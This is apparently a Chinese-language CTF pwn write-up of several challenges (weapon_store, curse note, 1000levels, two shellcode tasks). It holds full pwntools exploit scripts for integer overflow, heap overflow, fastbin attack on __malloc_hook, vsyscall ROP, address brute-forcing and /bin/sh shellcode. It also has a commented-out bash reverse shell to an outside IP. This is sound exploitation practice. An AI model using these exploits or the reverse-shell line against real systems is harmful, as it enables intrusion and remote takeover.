weapon_store

三个功能:view、buy、checkout

view,有点想吐槽,你一个卖武器的,价目表居然跟实际价格不一样。。下面的buy功能可以看到实际价格计算方法是100 * (v3 + 1) - 29,也就是说武器1卖171,武器2卖271。371。471。。。。

buy,先计算买的武器单价*数量是不是超过了手里的money,没超过就放到购物车里,但可以通过整数溢出绕过这个限制;另外可以看到malloc的时候还和0x1ff与了一下,可能有堆溢出。

checkout,当手里的money少于买下所有武器要花的钱时,就给你一次堆溢出的机会,这时可以把其他武器的name改换为flag输出。

输入选项的地方看起来可以泄露点什么出来

但这个地方存放的是两个栈里的值,一个text段的值,也得不到什么信息

这道题绊住我的是做法的问题,一直想的是怎么getshell。虽然data段里有Flag这几个大字,但谁能想到这题是让你泄露它啊。

from pwn import *
debug=1
#context.log_level = 'debug'
context.terminal = ['tmux', 'splitw', '-h']
if debug:
    io = process("./weapon_store")#,env={'LD_PRELOAD':'./libc-2.27.so'})
else:
    io = remote("47.97.253.115",10002)
elf = ELF('./weapon_store')
libc = ELF("./libc-2.27.so")
s = lambda x            :io.send(str(x))
sa = lambda x,y         :io.sendafter(str(x), str(y))
sl  = lambda x      :io.sendline(str(x))
sla  = lambda x,y    :io.sendlineafter(str(x), str(y))
r = lambda x             :io.recv(x)
ru = lambda x      :io.recvuntil(x)
def view():
    ru("Your choice:")
    sl(1)
def buy(which,amount):
    ru("Your choice:")
    sl(2)
    ru("Which do you want to buy:")
    sl(which)
    ru("How many do you want to buy:")
    sl(amount)
#1 2 3 4 171 271 371 471
#money 0x1000 4096
def checkout():
     ru("Your choice:")
     sl(3)
#buy(1,1)#c0
buy(1,2)#160
#buy(1,3)#20
#buy(1,4)#c0
#buy(1,5)#160
#buy(1,6)#20
buy(1,2)#160
checkout()
buy(1,9)
buy(1,9)
buy(1,9)#20
buy(4,0x8b2468)#160
checkout()
ru("Do you want to remove a weapon?(y/n)\n")
sl("y")
ru('Please tell us about the reason why you are so poor:')
s("2"*0x158+p64(0x21)+p64(0)*3+p64(0x21)+p64(0)*3+p64(0x31)+p32(0x603)+p32(9)+p64(0)+'\x20')
checkout()
ru("3. Name:       ")
log.success("flag : "+ru("Price:")[:-6])
#gdb.attach(io)
#io.interactive()

运行结果

curse note

题目分析

这道题三个功能:new、show、delete,可以用三个note

new存在很多漏洞点:没检查分配的大小,没检查分配是不是成功,任意地址写0

show平平无奇

delete平平无奇

利用方法

利用任意地址写0构造overlap然后fastbin attack,唯一的坑点在于分配大内存后,程序就不再从mainarena分配了,而是会从threadarena分配。在threadarena里,size的最后一字节为0x00000101而非0x00000001,所以构造overlap的时候,要先将preisused位置0,再分配这块,此时这块的size的最后一字节就是4了,再free掉这块就成功overlap了。

from pwn import *
debug=1
context.log_level = 'debug'
if debug:
    io = process("./curse_note")
else:
    io =remote("47.97.253.115",10002)
elf = ELF('./curse_note')
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb       :io.recv(numb)
ru      = lambda delims  :io.recvuntil(delims)

def new(index,size,info):
    ru("choice: ")
    sl("1")
    ru("index: ")
    sl(index)
    ru("size: ")
    sl(size)
    ru("info: ")
    s(info)  

def show(index):
    ru("choice: ")
    sl("2")
    ru("index: ")
    sl(index)


def delete(index):
    ru("choice: ")
    sl("3")
    ru("index: ")    
    sl(index)

def exit():
    sl("4")
#leak libc
new(0,0x90-8,"1")
new(1,0x20-8,"1")
new(2,0x20-8,"1")
delete(0)
new(0,0x90-8,"1")
show(0)
leak=u64(r(16)[-8:])
libc.address=leak-0x3c4b78
log.success("libc : "+hex(libc.address))
#leak heap
delete(1)
delete(2)
new(1,0x20-8,"\x00")
show(1)
heap=u64(r(8))
log.success("heap : "+hex(heap))
delete(0)
delete(1)

#leak thread arena base
new(0,heap+0x11,"a")
new(0,0x100-8,"a")
new(1,0x70-8,"a")
new(2,0x100-8,"a")
delete(1)
new(1,0x30-8,"1")
delete(0)
delete(2)
new(0,0x100-8,"1")
show(0)
thread_heap=u64(r(16)[-8:])-0x170
thread_base=thread_heap-0x8b0
log.success("thread heap : "+hex(thread_heap))
delete(0)

#overlap 
new(0,0x70-8,"a"*(0x70-8-8)+p64(0x170))
new(2,thread_heap+0x178+1,"11111111") #preused=0
new(2,0x100-8,"1111111")
delete(2)
delete(0)

#fastbinattack
new(2,0x270-8,"a"*(0x100-8)+p64(0x75)+p64(libc.symbols['__malloc_hook']-0x23))
new(0,0x70-8,"1")

onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libc.address+onegadgets[3]
c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8
delete(1)
new(1,0x70-8,c)

delete(0)
ru("choice: ")
sl("1")
ru("index: ")
sl(0)
ru("size: ")
sl(0x30)

io.interactive()

1000levels

两个功能,go和hint

首先看hint,hint虽然不能直接打印出system的地址,但是把system的地址放在了rbp-110h这个地方

go让你输入两个数字作为关卡数,如果俩数字之和超过了99,关卡数就被设置为100(题目难道不是叫做1000levels吗?啊??),算对了就让你过关。可以看到v5、v6就是刚刚system所在的地方,当然要想办法把v5用起来。可以看出v2<=0的时候v5没有被赋值,这样v5就被留下来了,当然留下来是有代价的,要创完100关才给你栈溢出的机会(system可在go里放着呢:P)

关卡里有栈溢出:

方法1-利用vsyscall构造ROP

这题因为开了PIE,所以不知道gadget的地址,就不好构造ROP。vsyscall是一个只有ret功能的gadget,见下图(0x60是gettimeofday,不知道有啥用反正没有用),vsyscall的地址是固定的,而且我们必须跳到 vsyscall 的开头,而不能直接跳到 ret,这是内核决定的。栈中提前存好one_gadget的地址,然后构造三次ret即可。

![image-20191102211935780](/Users/apple/Library/Application Support/typora-user-images/image-20191102211935780.png)

#!/usr/bin/env python
from pwn import *
debug=1
#context.log_level = 'debug'
vsyscall=0xffffffffff600000

if debug:
    io = process('./100levels')
else:
    io=remote("111.198.29.45",41268)
libc=ELF('./libc.so.6')
elf=ELF('./100levels')

def go(first, more):
    io.recvuntil("Choice:\n")
    io.sendline('1')    
    io.recvuntil("How many levels?\n")
    io.sendline(str(first))
    io.recvuntil("Any more?\n")
    io.sendline(str(more))

def hint():
    io.recvuntil("Choice:\n")
    io.sendline('2')

def answer():
    io.recvuntil("Question:")
    num1=int(io.recv(3))
    io.recvuntil("*")
    num2=int(io.recv(3))
    io.recvuntil("Answer:")
    io.sendline(str(num1*num2))

one_gadget = 0x4526a
system_offset = libc.symbols['system']
hint()
go(0,one_gadget - system_offset)
for i in range(99):
    answer()
io.recvuntil("Question:")
num1=int(io.recv(3))
io.recvuntil("*")
num2=int(io.recv(3))
io.recvuntil("Answer:")
content=''
content+='c'*48
content+='b'*8
content+=p64(vsyscall)*3
io.send(content)

io.interactive()

方法2-爆破ebp+leak elf

可以通过溢出ebp的后一个字节使得ebp和esp相同,在输出Question那一句的时候获得leak elf的机会。

虽然Question的两个数字被填入了随机数,但因为esp上方存的一定是上一次调用的函数的返回地址,而且栈帧已经改为ebp和esp相同,所以可以泄露ebp-4和ebp-8泄露一个返回地址出来。

#no aslr
from pwn import *
from LibcSearcher import *

debug =1
if debug:
    context.log_level = 'debug'
    io = process('./100levels')
else:
    io = remote("111.198.29.45",44322)
libc = ELF('./libc.so')
elf = ELF('./100levels')
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)

one_gadgets_ti = [0x4526a,0xef6c4,0xf0567]
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=one_gadgets_ti[0]

def hint():
    sla('Choice:','2')

def go(first,more):
    ru("Choice:\n")
    sl('1')    
    ru("How many levels?\n")
    sl(str(first))
    ru("Any more?\n")
    sl(str(more))

go(2,0)
ru('Answer:')
s(('0\n').ljust(0x30, '\x00') + '\x00')
ru("Question: ")
c = int(ru(' * '))
z = int(ru(' = '))
elf.address = u64(p32(z) + p32(c)) & 0xfffffffff000#leak elf base
print hex(elf.address)
ru('Answer:')
c=''
c=c.ljust(0x8*5)
c+=p64(elf.address+0xf47)#main
sl(c)

hint()
go(0,one_gadget - libc.symbols['system'])
for i in range(99):
    ru("Question: ")
    a=int(ru('*')[:-1])
    b=int(ru('=')[:-1])
    ru('Answer:')
    sl(str(a*b))
ru('Answer:')
c=''
c=c.ljust(0x8*7)
c+=p64(elf.address+0x1030)#gadget
s(c)

io.interactive()

方法3-爆破system地址+vsyscall构造ROP

在网上找到的脚本,爆破了system的地址。

不过这个题目里的游戏只让你玩一次,无论失败还是成功都会exit(0),所以得通过vsyscall回到main函数。

from pwn import *
p = process('./100levels')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
debug = 0
if debug:
    context.log_level = 'debug'
def hint():
    p.sendlineafter('Choice:','2')

def go(first,more):
    p.recvuntil("Choice:\n")
    p.sendline('1')    
    p.recvuntil("How many levels?\n")
    p.sendline(str(first))
    p.recvuntil("Any more?\n")
    p.sendline(str(more))

def calc(num):
    p.recvuntil('Answer:')
    p.send(num)

def leak():   
    start = 0x700000000390
    for i in range(10,2,-1):
        for j in range(15,-1,-1):
            hint()
            addr_test = (1 << (i*4) )* j + start
            go(0,-addr_test)
            a = p.recvline()
            #print hex(addr_test)
            if 'Coward' not in a:
                start = addr_test
                log.info('check '+ hex(addr_test))
                break
        pro = log.progress('go')
        for i in range(99):
            pro.status('level %d'%(i+1))
            calc(p64(0)*5)
        calc(p64(0xffffffffff600400)*35)#vsyscall
        pro.success('ok')
    return start + 0x1000


system_addr = leak()
print '[+] get system addr:', hex(system_addr)


system_addr_libc = libc.symbols['system']
bin_sh_addr_libc = next(libc.search('/bin/sh'))

bin_sh_addr = bin_sh_addr_libc + system_addr - system_addr_libc

gadget = system_addr - system_addr_libc + 0x21102#pop rdi ret

payload = p64(gadget) + p64(bin_sh_addr) + p64(system_addr)

go(1,0)
exp = 'a'*0x38 + payload
calc(exp)

p.interactive()

运行结果:

方法4-爆破elf-myexp 1/16

栈中提前存好one_gadget的地址,改写level函数返回地址的后两个字节为pop pop ret的gadegt,有1/16的几率猜对,就能ret到one_gadget。

from pwn import *
from LibcSearcher import *

debug =1
if debug:
    #context.log_level = 'debug'
    io = process('./100levels')
else:
    io = remote("111.198.29.45",44322)
libc = ELF('./libc.so')
elf = ELF('./100levels')
s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)

one_gadgets_ti = [0x4526a,0xef6c4,0xf0567]
one_gadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
one_gadget=0x4526a
def hint():
    sla('Choice:','2')

def go(first,more):
    ru("Choice:\n")
    sl('1')    
    ru("How many levels?\n")
    sl(str(first))
    ru("Any more?\n")
    sl(str(more))

while 1:
    try:
        hint()
        go(0,one_gadget - libc.symbols['system'])
        for i in range(99):
            ru("Question: ")
            a=int(ru('*')[:-1])
            b=int(ru('=')[:-1])
            ru('Answer:')
            sl(str(a*b))
        ru('Answer:')
        #1030 
        #c='\x0a'+"bash -c 'sh -i &>/dev/tcp/47.93.101.26/6666 0>&1'"
        c=''
        c=c.ljust(0x8*7)
        c+='\x31\x50'#1/16
        s(c)
        io.interactive()
    except:
        io.close()
        io = process('./100levels')

PS:得按空格才能继续运行下一个进程,咋写能写一个真正自动化的呢:(

失败的exp

本来想以栈中的变量buf作为system的参数,因为在level函数返回的时候buf的地址在rdi里,然后ret到pop pop ret就ret到了system函数,然而失败了。后来分析是因为栈里的内容是变了的,因为buf的地址在栈顶的上面。但我又不能既为了让buf不变而抬高栈顶,又ret到栈底的system,所以这种方法是行不通了的。

from pwn import *
from LibcSearcher import *

debug =1
if debug:
    context.log_level = 'debug'
    io = process('./100levels')
else:
    io=remote("111.198.29.45",44322)

s       = lambda data               :io.send(str(data)) 
sa      = lambda delim,data         :io.sendafter(str(delim), str(data))
sl      = lambda data               :io.sendline(str(data))
sla     = lambda delim,data         :io.sendlineafter(str(delim), str(data))
r       = lambda numb=4096          :io.recv(numb)
ru      = lambda delims, drop=True  :io.recvuntil(delims, drop)

def hint():
    sla('Choice:','2')

def go(first,more):
    ru("Choice:\n")
    sl('1')    
    ru("How many levels?\n")
    sl(str(first))
    ru("Any more?\n")
    sl(str(more))

def pwn():
    hint()
    go(0,0)
    for i in range(99):
        ru("Question: ")
        a=int(ru('*')[:-1])
        b=int(ru('=')[:-1])
        ru('Answer:')
        sl(str(a*b))
    gdb.attach(io)
    ru('Answer:')
    #1030 
    #c='\x0a'+"bash -c 'sh -i &>/dev/tcp/47.93.101.26/6666 0>&1'"
    c=str(a*b)+'\x0a'+"/bin/sh\x00"
    c=c.ljust(0x8*7)
    c+='\x31\x50'#aslr off
    s(c)

pwn()
io.interactive()

rdi放着的是栈的地址,当后面执行的时候栈中的内容会变的。

no nx/ no pie shellcode的两道题

jmp esp+shellcode

程序中有jmp esp指令,覆盖返回地址为jmp esp+shellcode,即可跳转到栈上布置好的shellcode。

无jmp esp

通过ret一直往下覆盖,直到覆盖到栈上保存的环境变量地址,这个地址指向栈上,部分覆盖最后一个字节到buffer的偏移,执行到栈上的shellcode。

while true; do ./overflow4-4834efeff17abdfb $(python -c 'print "\x90" * 32 +"jhh///sh/bin\x89\xe3h\x01\x01\x01\x01\x814$ri\x01\x011\xc9Qj\x04Y\x01\xe1Q\x89\xe11\xd2j\x0bX\xcd\x80" + "\xfb\x85\x04\x08" * 14 + "\x10" ' );done

脚本里覆盖栈地址最后一个字节为\x10,strcpy()会在最后加上一个\x00字节,所以会跳到末尾是\x00\x10的栈地址,buffer恰巧在这个地址需要一定概率。

image-20191107173634825